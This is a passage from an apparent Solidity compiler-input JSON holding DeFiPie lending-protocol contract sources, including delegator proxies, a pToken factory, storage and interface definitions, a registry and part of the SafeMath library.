contract\r\n * @dev It returns to the external caller whatever the implementation returns or forwards reverts\r\n */\r\n fallback() external payable {\r\n // delegate all other functions to current implementation\r\n delegateAndReturn();\r\n }\r\n\r\n receive() external payable {\r\n // delegate all other functions to current implementation\r\n delegateAndReturn();\r\n }\r\n\r\n function setImplementation(address newImplementation) external returns(uint) {\r\n if (msg.sender != RegistryInterface(registry).admin()) {\r\n return fail(Error.UNAUTHORIZED, FailureInfo.SET_NEW_IMPLEMENTATION);\r\n }\r\n\r\n address oldImplementation = implementation;\r\n _setImplementation(newImplementation);\r\n\r\n emit NewImplementation(oldImplementation, implementation);\r\n\r\n return(uint(Error.NO_ERROR));\r\n }\r\n}\r\n", "keccak256": "0x80673fd7df1543bb5b6a67a32583ccac7a1a914e199598a565e3209f02c4aff2" }, "contracts/PPIEDelegator.sol": { "content": "pragma solidity ^0.7.6;\r\n\r\nimport \"./ProxyWithRegistry.sol\";\r\nimport \"./RegistryInterface.sol\";\r\nimport \"./ErrorReporter.sol\";\r\n\r\n/**\r\n * @title DeFiPie's PPIEDelegator Contract\r\n * @notice PPIE which wrap an EIP-20 underlying and delegate to an implementation\r\n * @author DeFiPie\r\n */\r\ncontract PPIEDelegator is ImplementationStorage, ProxyWithRegistry, TokenErrorReporter {\r\n\r\n /**\r\n * @notice Emitted when implementation is changed\r\n */\r\n event NewImplementation(address oldImplementation, address newImplementation);\r\n\r\n /**\r\n * @notice Construct a new money market\r\n * @param underlying_ The address of the underlying asset\r\n * @param pPIEImplementation_ The address of the PPIEImplementation\r\n * @param controller_ The address of the Controller\r\n * @param interestRateModel_ The address of the interest rate model\r\n * @param initialExchangeRateMantissa_ The initial exchange rate, scaled by 1e18\r\n * @param initialReserveFactorMantissa_ The initial reserve factor, scaled by 1e18\r\n * @param name_ ERC-20 name of this token\r\n * @param symbol_ ERC-20 symbol of this token\r\n * @param decimals_ ERC-20 decimal precision of this token\r\n * @param registry_ The address of the registry contract\r\n */\r\n constructor(\r\n address underlying_,\r\n address pPIEImplementation_,\r\n address controller_,\r\n address interestRateModel_,\r\n uint initialExchangeRateMantissa_,\r\n uint initialReserveFactorMantissa_,\r\n string memory name_,\r\n string memory symbol_,\r\n uint8 decimals_,\r\n address registry_\r\n ) {\r\n // Set registry\r\n _setRegistry(registry_);\r\n _setImplementation(pPIEImplementation_);\r\n\r\n // First delegate gets to initialize the delegator (i.e. storage contract)\r\n delegateTo(implementation, abi.encodeWithSignature(\"initialize(address,address,address,address,uint256,uint256,string,string,uint8)\",\r\n underlying_,\r\n registry_,\r\n controller_,\r\n interestRateModel_,\r\n initialExchangeRateMantissa_,\r\n initialReserveFactorMantissa_,\r\n name_,\r\n symbol_,\r\n decimals_));\r\n }\r\n\r\n /**\r\n * @notice Internal method to delegate execution to another contract\r\n * @dev It returns to the external caller whatever the implementation returns or forwards reverts\r\n * @param callee The contract to delegatecall\r\n * @param data The raw data to delegatecall\r\n * @return The returned bytes from the delegatecall\r\n */\r\n function delegateTo(address callee, bytes memory data) internal returns (bytes memory) {\r\n (bool success, bytes memory returnData) = callee.delegatecall(data);\r\n assembly {\r\n if eq(success, 0) {\r\n revert(add(returnData, 0x20), returndatasize())\r\n }\r\n }\r\n return returnData;\r\n }\r\n\r\n function delegateAndReturn() internal returns (bytes memory) {\r\n (bool success, ) = implementation.delegatecall(msg.data);\r\n\r\n assembly {\r\n let free_mem_ptr := mload(0x40)\r\n returndatacopy(free_mem_ptr, 0, returndatasize())\r\n\r\n switch success\r\n case 0 { revert(free_mem_ptr, returndatasize()) }\r\n default { return(free_mem_ptr, returndatasize()) }\r\n }\r\n }\r\n\r\n /**\r\n * @notice Delegates execution to an implementation contract\r\n * @dev It returns to the external caller whatever the implementation returns or forwards reverts\r\n */\r\n fallback() external {\r\n // delegate all other functions to current implementation\r\n delegateAndReturn();\r\n }\r\n\r\n function setImplementation(address newImplementation) external returns(uint) {\r\n if (msg.sender != RegistryInterface(registry).admin()) {\r\n return fail(Error.UNAUTHORIZED, FailureInfo.SET_NEW_IMPLEMENTATION);\r\n }\r\n\r\n address oldImplementation = implementation;\r\n _setImplementation(newImplementation);\r\n\r\n emit NewImplementation(oldImplementation, implementation);\r\n\r\n return(uint(Error.NO_ERROR));\r\n }\r\n}\r\n", "keccak256": "0x4efaa4feffa24983088a3e7729bdcd6b3473a0910b6f14c6ea2c29ea84e4b4de" }, "contracts/PTokenFactory.sol": { "content": "pragma solidity ^0.7.6;\r\n\r\nimport './PErc20Delegator.sol';\r\nimport './RegistryInterface.sol';\r\nimport './EIP20Interface.sol';\r\nimport './Strings.sol';\r\nimport \"./IPriceFeeds.sol\";\r\nimport \"./ErrorReporter.sol\";\r\nimport \"./SafeMath.sol\";\r\nimport \"./PEtherDelegator.sol\";\r\nimport \"./PPIEDelegator.sol\";\r\nimport \"./Controller.sol\";\r\nimport \"./UniswapPriceOracle.sol\";\r\n\r\ncontract PTokenFactory is FactoryErrorReporter {\r\n using strings for *;\r\n using SafeMath for uint;\r\n\r\n UniswapPriceOracle public oracle;\r\n uint public minUniswapLiquidity;\r\n\r\n // decimals for pToken\r\n uint8 public decimals = 8;\r\n\r\n // default parameters for pToken\r\n address public controller;\r\n address public interestRateModel;\r\n uint256 public initialExchangeRateMantissa;\r\n uint256 public initialReserveFactorMantissa;\r\n\r\n /**\r\n * Fired on creation new pToken proxy\r\n * @param newPToken Address of new PToken proxy contract\r\n */\r\n event PTokenCreated(address newPToken);\r\n\r\n RegistryInterface public registry;\r\n\r\n constructor(\r\n RegistryInterface registry_,\r\n uint minUniswapLiquidity_,\r\n address oracle_,\r\n address _controller,\r\n address _interestRateModel,\r\n uint256 _initialExchangeRateMantissa,\r\n uint256 _initialReserveFactorMantissa\r\n ) {\r\n registry = registry_;\r\n minUniswapLiquidity = minUniswapLiquidity_;\r\n oracle = UniswapPriceOracle(oracle_);\r\n controller = _controller;\r\n interestRateModel = _interestRateModel;\r\n initialExchangeRateMantissa = _initialExchangeRateMantissa;\r\n initialReserveFactorMantissa = _initialReserveFactorMantissa;\r\n }\r\n\r\n /**\r\n * Creates new pToken proxy contract and adds pToken to the controller\r\n * @param underlying_ The address of the underlying asset\r\n */\r\n function createPToken(address underlying_) external returns (uint) {\r\n if (!checkPair(underlying_)) {\r\n return fail(Error.INVALID_POOL, FailureInfo.DEFICIENCY_LIQUIDITY_IN_POOL_OR_PAIR_IS_NOT_EXIST);\r\n }\r\n\r\n (string memory name, string memory symbol) = _createPTokenNameAndSymbol(underlying_);\r\n\r\n uint power = EIP20Interface(underlying_).decimals();\r\n uint exchangeRateMantissa = calcExchangeRate(power);\r\n\r\n PErc20Delegator newPToken = new PErc20Delegator(underlying_, controller, interestRateModel, exchangeRateMantissa, initialReserveFactorMantissa, name, symbol, decimals, address(registry));\r\n\r\n uint256 result = Controller(controller)._supportMarket(address(newPToken));\r\n if (result != 0) {\r\n return fail(Error.MARKET_NOT_LISTED, FailureInfo.SUPPORT_MARKET_BAD_RESULT);\r\n }\r\n\r\n registry.addPToken(underlying_, address(newPToken));\r\n\r\n emit PTokenCreated(address(newPToken));\r\n\r\n oracle.update(underlying_);\r\n\r\n return uint(Error.NO_ERROR);\r\n }\r\n\r\n function createPETH(address pETHImplementation_) external virtual returns (uint) {\r\n if (msg.sender != getAdmin()) {\r\n return fail(Error.UNAUTHORIZED, FailureInfo.CREATE_PETH_POOL);\r\n }\r\n\r\n string memory name = \"DeFiPie ETH\";\r\n string memory symbol = \"pETH\";\r\n\r\n uint power = 18;\r\n uint exchangeRateMantissa = calcExchangeRate(power);\r\n\r\n PETHDelegator newPETH = new PETHDelegator(pETHImplementation_, controller, interestRateModel, exchangeRateMantissa, initialReserveFactorMantissa, name, symbol, decimals, address(registry));\r\n\r\n uint256 result = Controller(controller)._supportMarket(address(newPETH));\r\n if (result != 0) {\r\n return fail(Error.MARKET_NOT_LISTED, FailureInfo.SUPPORT_MARKET_BAD_RESULT);\r\n }\r\n\r\n registry.addPETH(address(newPETH));\r\n\r\n emit PTokenCreated(address(newPETH));\r\n\r\n return uint(Error.NO_ERROR);\r\n }\r\n\r\n function createPPIE(address underlying_, address pPIEImplementation_) external virtual returns (uint) {\r\n if (msg.sender != getAdmin()) {\r\n return fail(Error.UNAUTHORIZED, FailureInfo.CREATE_PPIE_POOL);\r\n }\r\n\r\n string memory name = \"DeFiPie PIE\";\r\n string memory symbol = \"pPIE\";\r\n\r\n uint power = EIP20Interface(underlying_).decimals();\r\n uint exchangeRateMantissa = calcExchangeRate(power);\r\n\r\n PPIEDelegator newPPIE = new PPIEDelegator(underlying_, pPIEImplementation_, controller, interestRateModel, exchangeRateMantissa, initialReserveFactorMantissa, name, symbol, decimals, address(registry));\r\n\r\n uint256 result = Controller(controller)._supportMarket(address(newPPIE));\r\n if (result != 0) {\r\n return fail(Error.MARKET_NOT_LISTED, FailureInfo.SUPPORT_MARKET_BAD_RESULT);\r\n }\r\n\r\n registry.addPPIE(address(newPPIE));\r\n\r\n emit PTokenCreated(address(newPPIE));\r\n\r\n oracle.update(underlying_);\r\n\r\n return uint(Error.NO_ERROR);\r\n }\r\n\r\n function checkPair(address asset) public view returns (bool) {\r\n (address pair, uint112 ethEquivalentReserves) = oracle.searchPair(asset);\r\n\r\n return bool(pair != address(0) && ethEquivalentReserves >= minUniswapLiquidity);\r\n }\r\n\r\n function setMinUniswapLiquidity(uint minUniswapLiquidity_) public returns (uint) {\r\n if (msg.sender != getAdmin()) {\r\n return fail(Error.UNAUTHORIZED, FailureInfo.SET_MIN_LIQUIDITY_OWNER_CHECK);\r\n }\r\n\r\n minUniswapLiquidity = minUniswapLiquidity_;\r\n\r\n return uint(Error.NO_ERROR);\r\n }\r\n\r\n function setOracle(address oracle_) public returns (uint) {\r\n if (msg.sender != getAdmin()) {\r\n return fail(Error.UNAUTHORIZED, FailureInfo.SET_NEW_ORACLE);\r\n }\r\n\r\n oracle = UniswapPriceOracle(oracle_);\r\n\r\n return uint(Error.NO_ERROR);\r\n }\r\n\r\n /**\r\n * Sets address of actual controller contract\r\n * @return uint 0 = success, otherwise a failure (see ErrorReporter.sol for details)\r\n */\r\n function setController(address newController) external returns (uint) {\r\n if (msg.sender != getAdmin()) {\r\n return fail(Error.UNAUTHORIZED, FailureInfo.SET_NEW_CONTROLLER);\r\n }\r\n controller = newController;\r\n\r\n return(uint(Error.NO_ERROR));\r\n }\r\n\r\n /**\r\n * Sets address of actual interestRateModel contract\r\n * @return uint 0 = success, otherwise a failure (see ErrorReporter.sol for details)\r\n */\r\n function setInterestRateModel(address newInterestRateModel) external returns (uint) {\r\n if (msg.sender != getAdmin()) {\r\n return fail(Error.UNAUTHORIZED, FailureInfo.SET_NEW_INTEREST_RATE_MODEL);\r\n }\r\n\r\n interestRateModel = newInterestRateModel;\r\n\r\n return(uint(Error.NO_ERROR));\r\n }\r\n\r\n /**\r\n * Sets initial exchange rate\r\n * @return uint 0 = success, otherwise a failure (see ErrorReporter.sol for details)\r\n */\r\n function setInitialExchangeRateMantissa(uint _initialExchangeRateMantissa) external returns (uint) {\r\n if (msg.sender != getAdmin()) {\r\n return fail(Error.UNAUTHORIZED, FailureInfo.SET_NEW_EXCHANGE_RATE);\r\n }\r\n\r\n initialExchangeRateMantissa = _initialExchangeRateMantissa;\r\n\r\n return(uint(Error.NO_ERROR));\r\n }\r\n\r\n function setInitialReserveFactorMantissa(uint _initialReserveFactorMantissa) external returns (uint) {\r\n if (msg.sender != getAdmin()) {\r\n return fail(Error.UNAUTHORIZED, FailureInfo.SET_NEW_RESERVE_FACTOR);\r\n }\r\n\r\n initialReserveFactorMantissa = _initialReserveFactorMantissa;\r\n\r\n return(uint(Error.NO_ERROR));\r\n }\r\n\r\n function setPTokenDecimals(uint _decimals) external returns (uint) {\r\n if (msg.sender != getAdmin()) {\r\n return fail(Error.UNAUTHORIZED, FailureInfo.SET_NEW_DECIMALS);\r\n }\r\n\r\n decimals = uint8(_decimals);\r\n\r\n return(uint(Error.NO_ERROR));\r\n }\r\n\r\n function getAdmin() public view returns(address payable) {\r\n return registry.admin();\r\n }\r\n\r\n function _createPTokenNameAndSymbol(address underlying) internal view returns (string memory, string memory) {\r\n string memory name = (\"DeFiPie \".toSlice().concat(EIP20Interface(underlying).name().toSlice()));\r\n string memory symbol = (\"p\".toSlice().concat(EIP20Interface(underlying).symbol().toSlice()));\r\n return (name, symbol);\r\n }\r\n\r\n function calcExchangeRate(uint power) internal view returns (uint) {\r\n uint factor;\r\n\r\n if (decimals >= power) {\r\n factor = 10**(decimals - power);\r\n return initialExchangeRateMantissa.div(factor);\r\n } else {\r\n factor = 10**(power - decimals);\r\n return initialExchangeRateMantissa.mul(factor);\r\n }\r\n }\r\n}", "keccak256": "0x55c5649f2878001e193c7bd0cd3e4f4773a4543ff6875e70dc630ad372f40f9b" }, "contracts/PTokenInterfaces.sol": { "content": "pragma solidity ^0.7.6;\r\n\r\nimport \"./ControllerInterface.sol\";\r\nimport \"./InterestRateModel.sol\";\r\nimport \"./ProxyWithRegistry.sol\";\r\n\r\ncontract PTokenStorage is ProxyWithRegistryStorage {\r\n /**\r\n * @dev Guard variable for re-entrancy checks\r\n */\r\n bool internal _notEntered;\r\n\r\n /**\r\n * @notice EIP-20 token name for this token\r\n */\r\n string public name;\r\n\r\n /**\r\n * @notice EIP-20 token symbol for this token\r\n */\r\n string public symbol;\r\n\r\n /**\r\n * @notice EIP-20 token decimals for this token\r\n */\r\n uint8 public decimals;\r\n\r\n /**\r\n * @dev Maximum borrow rate that can ever be applied (.0005% / block)\r\n */\r\n\r\n uint internal constant borrowRateMaxMantissa = 0.0005e16;\r\n\r\n /**\r\n * @dev Maximum fraction of interest that can be set aside for reserves\r\n */\r\n uint internal constant reserveFactorMaxMantissa = 1e18;\r\n\r\n /**\r\n * @notice Contract which oversees inter-pToken operations\r\n */\r\n ControllerInterface public controller;\r\n\r\n /**\r\n * @notice Model which tells what the current interest rate should be\r\n */\r\n InterestRateModel public interestRateModel;\r\n\r\n /**\r\n * @dev Initial exchange rate used when minting the first PTokens (used when totalSupply = 0)\r\n */\r\n uint internal initialExchangeRateMantissa;\r\n\r\n /**\r\n * @notice Fraction of interest currently set aside for reserves\r\n */\r\n uint public reserveFactorMantissa;\r\n\r\n /**\r\n * @notice Block number that interest was last accrued at\r\n */\r\n uint public accrualBlockNumber;\r\n\r\n /**\r\n * @notice Accumulator of the total earned interest rate since the opening of the market\r\n */\r\n uint public borrowIndex;\r\n\r\n /**\r\n * @notice Total amount of outstanding borrows of the underlying in this market\r\n */\r\n uint public totalBorrows;\r\n\r\n /**\r\n * @notice Total amount of reserves of the underlying held in this market\r\n */\r\n uint public totalReserves;\r\n\r\n /**\r\n * @notice Total number of tokens in circulation\r\n */\r\n uint public totalSupply;\r\n\r\n /**\r\n * @dev Official record of token balances for each account\r\n */\r\n mapping (address => uint) internal accountTokens;\r\n\r\n /**\r\n * @dev Approved token transfer amounts on behalf of others\r\n */\r\n mapping (address => mapping (address => uint)) internal transferAllowances;\r\n\r\n /**\r\n * @notice Container for borrow balance information\r\n * @member principal Total balance (with accrued interest), after applying the most recent balance-changing action\r\n * @member interestIndex Global borrowIndex as of the most recent balance-changing action\r\n */\r\n struct BorrowSnapshot {\r\n uint principal;\r\n uint interestIndex;\r\n }\r\n\r\n /**\r\n * @dev Mapping of account addresses to outstanding borrow balances\r\n */\r\n mapping(address => BorrowSnapshot) internal accountBorrows;\r\n}\r\n\r\nabstract contract PTokenInterface is PTokenStorage {\r\n /**\r\n * @notice Indicator that this is a PToken contract (for inspection)\r\n */\r\n bool public constant isPToken = true;\r\n\r\n\r\n /*** Market Events ***/\r\n\r\n /**\r\n * @notice Event emitted when interest is accrued\r\n */\r\n event AccrueInterest(uint cashPrior, uint interestAccumulated, uint borrowIndex, uint totalBorrows, uint totalReserves);\r\n\r\n /**\r\n * @notice Event emitted when tokens are minted\r\n */\r\n event Mint(address minter, uint mintAmount, uint mintTokens);\r\n\r\n /**\r\n * @notice Event emitted when tokens are redeemed\r\n */\r\n event Redeem(address redeemer, uint redeemAmount, uint redeemTokens);\r\n\r\n /**\r\n * @notice Event emitted when underlying is borrowed\r\n */\r\n event Borrow(address borrower, uint borrowAmount, uint accountBorrows, uint totalBorrows);\r\n\r\n /**\r\n * @notice Event emitted when a borrow is repaid\r\n */\r\n event RepayBorrow(address payer, address borrower, uint repayAmount, uint accountBorrows, uint totalBorrows);\r\n\r\n /**\r\n * @notice Event emitted when a borrow is liquidated\r\n */\r\n event LiquidateBorrow(address liquidator, address borrower, uint repayAmount, address pTokenCollateral, uint seizeTokens);\r\n\r\n\r\n /*** Admin Events ***/\r\n\r\n /**\r\n * @notice Event emitted when controller is changed\r\n */\r\n event NewController(ControllerInterface oldController, ControllerInterface newController);\r\n\r\n /**\r\n * @notice Event emitted when interestRateModel is changed\r\n */\r\n event NewMarketInterestRateModel(InterestRateModel oldInterestRateModel, InterestRateModel newInterestRateModel);\r\n\r\n /**\r\n * @notice Event emitted when the reserve factor is changed\r\n */\r\n event NewReserveFactor(uint oldReserveFactorMantissa, uint newReserveFactorMantissa);\r\n\r\n /**\r\n * @notice Event emitted when the reserves are added\r\n */\r\n event ReservesAdded(address benefactor, uint addAmount, uint newTotalReserves);\r\n\r\n /**\r\n * @notice Event emitted when the reserves are reduced\r\n */\r\n event ReservesReduced(address admin, uint reduceAmount, uint newTotalReserves);\r\n\r\n /**\r\n * @notice EIP20 Transfer event\r\n */\r\n event Transfer(address indexed from, address indexed to, uint amount);\r\n\r\n /**\r\n * @notice EIP20 Approval event\r\n */\r\n event Approval(address indexed owner, address indexed spender, uint amount);\r\n\r\n /*** User Interface ***/\r\n\r\n function transfer(address dst, uint amount) external virtual returns (bool);\r\n function transferFrom(address src, address dst, uint amount) external virtual returns (bool);\r\n function approve(address spender, uint amount) external virtual returns (bool);\r\n function allowance(address owner, address spender) external view virtual returns (uint);\r\n function balanceOf(address owner) external view virtual returns (uint);\r\n function balanceOfUnderlying(address owner) external virtual returns (uint);\r\n function getAccountSnapshot(address account) external view virtual returns (uint, uint, uint, uint);\r\n function borrowRatePerBlock() external view virtual returns (uint);\r\n function supplyRatePerBlock() external view virtual returns (uint);\r\n function totalBorrowsCurrent() external virtual returns (uint);\r\n function borrowBalanceCurrent(address account) external virtual returns (uint);\r\n function borrowBalanceStored(address account) public view virtual returns (uint);\r\n function exchangeRateCurrent() public virtual returns (uint);\r\n function exchangeRateStored() public view virtual returns (uint);\r\n function getCash() external view virtual returns (uint);\r\n function accrueInterest() public virtual returns (uint);\r\n function seize(address liquidator, address borrower, uint seizeTokens) external virtual returns (uint);\r\n\r\n /*** Admin Functions ***/\r\n\r\n function _setController(ControllerInterface newController) public virtual returns (uint);\r\n function _setReserveFactor(uint newReserveFactorMantissa) external virtual returns (uint);\r\n function _reduceReserves(uint reduceAmount) external virtual returns (uint);\r\n function _setInterestRateModel(InterestRateModel newInterestRateModel) public virtual returns (uint);\r\n}\r\n\r\ncontract PErc20Storage {\r\n /**\r\n * @notice Underlying asset for this PToken\r\n */\r\n address public underlying;\r\n}\r\n\r\nabstract contract PErc20Interface is PErc20Storage {\r\n\r\n /*** User Interface ***/\r\n\r\n function mint(uint mintAmount) external virtual returns (uint);\r\n function redeem(uint redeemTokens) external virtual returns (uint);\r\n function redeemUnderlying(uint redeemAmount) external virtual returns (uint);\r\n function borrow(uint borrowAmount) external virtual returns (uint);\r\n function repayBorrow(uint repayAmount) external virtual returns (uint);\r\n function repayBorrowBehalf(address borrower, uint repayAmount) external virtual returns (uint);\r\n function liquidateBorrow(address borrower, uint repayAmount, PTokenInterface pTokenCollateral) external virtual returns (uint);\r\n\r\n /*** Admin Functions ***/\r\n\r\n function _addReserves(uint addAmount) external virtual returns (uint);\r\n}\r\n\r\ncontract PPIEStorage {\r\n /// @notice A record of each accounts delegate\r\n mapping (address => address) public delegates;\r\n\r\n /// @notice A checkpoint for marking number of votes from a given block\r\n struct Checkpoint {\r\n uint32 fromBlock;\r\n uint96 votes;\r\n }\r\n\r\n /// @notice A record of votes checkpoints for each account, by index\r\n mapping (address => mapping (uint32 => Checkpoint)) public checkpoints;\r\n\r\n /// @notice The number of checkpoints for each account\r\n mapping (address => uint32) public numCheckpoints;\r\n\r\n /// @notice The EIP-712 typehash for the contract's domain\r\n bytes32 public constant DOMAIN_TYPEHASH = keccak256(\"EIP712Domain(string name,uint256 chainId,address verifyingContract)\");\r\n\r\n /// @notice The EIP-712 typehash for the delegation struct used by the contract\r\n bytes32 public constant DELEGATION_TYPEHASH = keccak256(\"Delegation(address delegatee,uint256 nonce,uint256 expiry)\");\r\n\r\n /// @notice A record of states for signing / validating signatures\r\n mapping (address => uint) public nonces;\r\n}\r\n\r\nabstract contract PPIEInterface is PPIEStorage {\r\n /// @notice An event thats emitted when an account changes its delegate\r\n event DelegateChanged(address indexed delegator, address indexed fromDelegate, address indexed toDelegate);\r\n\r\n /// @notice An event thats emitted when a delegate account's vote balance changes\r\n event DelegateVotesChanged(address indexed delegate, uint previousBalance, uint newBalance);\r\n\r\n function delegate(address delegatee) external virtual;\r\n function delegateBySig(address delegatee, uint nonce, uint expiry, uint8 v, bytes32 r, bytes32 s) external virtual;\r\n function getCurrentVotes(address account) external view virtual returns (uint96);\r\n function getPriorVotes(address account, uint blockNumber) external view virtual returns (uint96);\r\n}", "keccak256": "0x437e378db9ba0a7b0a2a38ed89c7e76c07355d096e936ae88fa11765db747af3" }, "contracts/PriceOracle.sol": { "content": "pragma solidity ^0.7.6;\r\n\r\nabstract contract PriceOracle {\r\n /// @notice Indicator that this is a PriceOracle contract (for inspection)\r\n bool public constant isPriceOracle = true;\r\n\r\n event PriceUpdated(address asset, uint price);\r\n\r\n /**\r\n * @notice Get the underlying price of a pToken asset\r\n * @param pToken The pToken to get the underlying price of\r\n * @return The underlying asset price mantissa (scaled by 1e18).\r\n * Zero means the price is unavailable.\r\n */\r\n function getUnderlyingPrice(address pToken) external view virtual returns (uint);\r\n\r\n function updateUnderlyingPrice(address pToken) external virtual returns (uint);\r\n}", "keccak256": "0x2580c6d431e99799ef8cbcf5d9f00d9ef52c821902f1a87842913111baabbcb3" }, "contracts/ProxyWithRegistry.sol": { "content": "pragma solidity ^0.7.6;\r\n\r\nimport \"./RegistryInterface.sol\";\r\n\r\ncontract ProxyWithRegistryStorage {\r\n\r\n /**\r\n * @notice Address of the registry contract\r\n */\r\n address public registry;\r\n}\r\n\r\nabstract contract ProxyWithRegistryInterface is ProxyWithRegistryStorage {\r\n function _setRegistry(address _registry) internal virtual;\r\n function _pTokenImplementation() internal view virtual returns (address);\r\n}\r\n\r\ncontract ProxyWithRegistry is ProxyWithRegistryInterface {\r\n /**\r\n * Returns actual address of the implementation contract from current registry\r\n * @return registry Address of the registry\r\n */\r\n function _pTokenImplementation() internal view override returns (address) {\r\n return RegistryInterface(registry).pTokenImplementation();\r\n }\r\n\r\n function _setRegistry(address _registry) internal override {\r\n registry = _registry;\r\n }\r\n}\r\n\r\ncontract ImplementationStorage {\r\n\r\n address public implementation;\r\n\r\n function _setImplementation(address implementation_) internal {\r\n implementation = implementation_;\r\n }\r\n}", "keccak256": "0x68816cfe421911a10fd675907ced65682b5dccb579d4e8d55d5aa5372978df41" }, "contracts/Registry.sol": { "content": "pragma solidity ^0.7.6;\r\n\r\nimport \"./PTokenInterfaces.sol\";\r\nimport './RegistryStorage.sol';\r\nimport \"./ErrorReporter.sol\";\r\nimport \"./Controller.sol\";\r\nimport \"./PTokenFactory.sol\";\r\n\r\ncontract Registry is RegistryStorage, RegistryErrorReporter {\r\n\r\n address public factory;\r\n address public pTokenImplementation;\r\n\r\n mapping (address => address) public pTokens;\r\n address public pETH;\r\n address public pPIE;\r\n\r\n /*** Admin Events ***/\r\n\r\n /**\r\n * @notice Event emitted when pendingAdmin is changed\r\n */\r\n event NewPendingAdmin(address oldPendingAdmin, address newPendingAdmin);\r\n\r\n /**\r\n * @notice Event emitted when pendingAdmin is accepted, which means admin is updated\r\n */\r\n event NewAdmin(address oldAdmin, address newAdmin);\r\n\r\n /**\r\n * @notice Emitted when PTokenImplementation is changed\r\n */\r\n event NewPTokenImplementation(address oldImplementation, address newImplementation);\r\n\r\n /**\r\n * @notice Emitted when Factory address is changed\r\n */\r\n event NewFactory(address oldFactory, address newFactory);\r\n\r\n /**\r\n * @notice Emitted when admin remove pToken\r\n */\r\n event RemovePToken(address pToken);\r\n\r\n constructor() {}\r\n\r\n function initialize(address _pTokenImplementation) public {\r\n require(pTokenImplementation == address(0), \"Registry may only be initialized once\");\r\n\r\n pTokenImplementation = _pTokenImplementation;\r\n }\r\n\r\n /**\r\n * Sets address of actual pToken implementation contract\r\n * @return uint 0 = success, otherwise a failure (see ErrorReporter.sol for details)\r\n */\r\n function setPTokenImplementation(address newImplementation) external returns (uint) {\r\n if (msg.sender != admin) {\r\n return fail(Error.UNAUTHORIZED, FailureInfo.SET_NEW_IMPLEMENTATION);\r\n }\r\n\r\n address oldImplementation = pTokenImplementation;\r\n pTokenImplementation = newImplementation;\r\n\r\n emit NewPTokenImplementation(oldImplementation, pTokenImplementation);\r\n\r\n return(uint(Error.NO_ERROR));\r\n }\r\n\r\n function _setFactoryContract(address _factory) external returns (uint) {\r\n if (msg.sender != admin) {\r\n return fail(Error.UNAUTHORIZED, FailureInfo.SET_NEW_FACTORY);\r\n }\r\n\r\n address oldFactory = factory;\r\n factory = _factory;\r\n\r\n emit NewFactory(oldFactory, factory);\r\n\r\n return uint(Error.NO_ERROR);\r\n }\r\n\r\n function addPToken(address underlying, address pToken) public returns (uint) {\r\n require(msg.sender == admin || msg.sender == factory, \"Only admin or factory can add PTokens\");\r\n\r\n PTokenInterface(pToken).isPToken(); // Sanity check to make sure its really a PToken\r\n\r\n require(pTokens[underlying] == address(0), \"Token already added\");\r\n pTokens[underlying] = pToken;\r\n\r\n return uint(Error.NO_ERROR);\r\n }\r\n\r\n function addPETH(address pETH_) public returns (uint) {\r\n require(msg.sender == admin || msg.sender == factory, \"Only admin or factory can add PETH\");\r\n\r\n PTokenInterface(pETH_).isPToken(); // Sanity check to make sure its really a PToken\r\n\r\n require(pETH == address(0), \"ETH already added\");\r\n pETH = pETH_;\r\n\r\n return uint(Error.NO_ERROR);\r\n }\r\n\r\n function addPPIE(address pPIE_) public returns (uint) {\r\n require(msg.sender == admin || msg.sender == factory, \"Only admin or factory can add PPIE\");\r\n\r\n PTokenInterface(pPIE_).isPToken(); // Sanity check to make sure its really a PToken\r\n\r\n require(pPIE == address(0), \"PIE already added\");\r\n pPIE = pPIE_;\r\n\r\n address underlying = PErc20Storage(pPIE).underlying();\r\n pTokens[underlying] = pPIE;\r\n\r\n return uint(Error.NO_ERROR);\r\n }\r\n\r\n function removePToken(address pToken) public returns (uint) {\r\n require(msg.sender == admin, \"Only admin can remove PTokens\");\r\n\r\n PTokenInterface(pToken).isPToken(); // Sanity check to make sure its really a PToken\r\n\r\n address underlying = PErc20Storage(pToken).underlying();\r\n require(pTokens[underlying] != address(0), \"Token not added\");\r\n delete pTokens[underlying];\r\n\r\n emit RemovePToken(pToken);\r\n\r\n return uint(Error.NO_ERROR);\r\n }\r\n}", "keccak256": "0x1a54a753d7a36c4702c7df4b5240a8b07680d44ff11810c8f7ee803df8f1f9fd" }, "contracts/RegistryInterface.sol": { "content": "pragma solidity ^0.7.6;\r\n\r\ninterface RegistryInterface {\r\n\r\n /**\r\n * Returns admin address for cToken contracts\r\n * @return admin address\r\n */\r\n function admin() external view returns (address payable);\r\n\r\n /**\r\n * Returns address of actual PToken implementation contract\r\n * @return Address of contract\r\n */\r\n function pTokenImplementation() external view returns (address);\r\n\r\n function addPToken(address underlying, address pToken) external returns(uint);\r\n function addPETH(address pETH_) external returns(uint);\r\n function addPPIE(address pPIE_) external returns(uint);\r\n}\r\n", "keccak256": "0x743428865dba35a57df98d12887e91b2ced03d7825989f928448305b596dda4d" }, "contracts/RegistryStorage.sol": { "content": "pragma solidity ^0.7.6;\r\n\r\ncontract RegistryStorage {\r\n address public implementation;\r\n address public admin;\r\n address public pendingAdmin;\r\n}", "keccak256": "0x70c747fb4090fd2668bec5d0b906c0bdd2c3bb367ff3d2bb1120c26fbd1a2923" }, "contracts/SafeMath.sol": { "content": "pragma solidity ^0.7.6;\r\n\r\n// From https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/math/Math.sol\r\n// Subject to the MIT license.\r\n\r\n/**\r\n * @dev Wrappers over Solidity's arithmetic operations with added overflow\r\n * checks.\r\n *\r\n * Arithmetic operations in Solidity wrap on overflow. This can easily result\r\n * in bugs, because programmers usually assume that an overflow raises an\r\n * error, which is the standard behavior in high level programming languages.\r\n * `SafeMath` restores this intuition by reverting the transaction when an\r\n * operation overflows.\r\n *\r\n * Using this library instead of the unchecked operations eliminates an entire\r\n * class of bugs, so it's recommended to use it always.\r\n */\r\nlibrary SafeMath {\r\n /**\r\n * @dev Returns the addition of two unsigned integers, reverting on overflow.\r\n *\r\n * Counterpart to Solidity's `+` operator.\r\n *\r\n * Requirements:\r\n * - Addition cannot overflow.\r\n */\r\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\r\n uint256 c = a + b;\r\n require(c >= a, \"SafeMath: addition overflow\");\r\n\r\n return c;\r\n }\r\n\r\n /**\r\n * @dev Returns the addition of two unsigned integers, reverting with custom message on overflow.\r\n *\r\n * Counterpart to Solidity's `+` operator.\r\n *\r\n * Requirements:\r\n * - Addition cannot overflow.\r\n */\r\n function add(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {\r\n uint256 c = a + b;\r\n require(c >= a, errorMessage);\r\n\r\n return c;\r\n }\r\n\r\n /**\r\n * @dev 